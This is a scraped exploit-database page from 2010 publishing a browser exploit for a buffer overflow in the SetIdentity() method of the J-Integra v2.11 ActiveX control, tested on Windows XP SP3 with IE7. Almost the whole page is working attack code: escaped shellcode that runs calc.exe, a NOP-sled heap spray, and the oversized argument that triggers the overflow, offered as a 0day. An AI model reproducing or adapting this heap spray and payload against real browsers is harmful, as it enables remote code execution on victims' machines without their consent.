Home / os / win7

[remote exploits] - J-Integra v2.11 ActiveX SetIdentity() Bu

Posted on 01 December 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>J-Integra v2.11 ActiveX SetIdentity() Buffer Overflow Exploit | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='J-Integra v2.11 ActiveX SetIdentity() Buffer Overflow Exploit by Dr_IDE in remote exploits | Inj3ct0r 1337 - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_setDomainName", "none"]);_gaq.push(["_setAllowLinker", true]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>=============================================================
J-Integra v2.11 ActiveX SetIdentity() Buffer Overflow Exploit
=============================================================

&lt;!--
Exploit Title:  J-Integra v2.11 ActiveX SetIdentity() Buffer Overflow Exploit
Found By:   Dr_IDE
Download:   http://j-integra.intrinsyc.com/
Greets:     bz1p, bz1p@bshellz.net for finding the app.
Tested on:  XP SP3 IE7
CVE:        (0day)
Notes:      This is not the same control as EDB#15645
--&gt;
&lt;html&gt;
&lt;object classid=&#039;clsid:8234E54E-20CB-4A88-9AB6-7986F99BE243&#039; id=&#039;target&#039;&gt;&lt;/object&gt;
&lt;script&gt;
//payload is windows/exec cmd=calc.exe
shellcode = unescape(
&#039;%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395&#039;+
&#039;%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1&#039;+
&#039;%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e&#039;+
&#039;%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5&#039;+
&#039;%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f&#039;+
&#039;%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5&#039;+
&#039;%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525&#039;+
&#039;%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e&#039;);
 
nops=unescape(&#039;%u9090%u9090&#039;);
headersize =20;
slackspace= headersize + shellcode.length;
 
while(nops.length &lt; slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);
 
while( block.length+ slackspace&lt;0x50000) block= block+ block+ fillblock;
memory=new Array();
 
for( counter=0; counter&lt;200; counter++) memory[counter]= block + shellcode;
ret=&#039;&#039;;
for( counter=0; counter&lt;=1000; counter++) ret+=unescape(&quot;%0a%0a%0a%0a&quot;);
 
arg2=String(&quot;abcd&quot;);
target.SetIdentity(ret ,arg2);
&lt;/script&gt;
&lt;/html&gt;


# <a href='http://1337db.com/'>1337db.com</a> [2010-12-01]</pre></body></html>

 

TOP

Malware :

Exploits :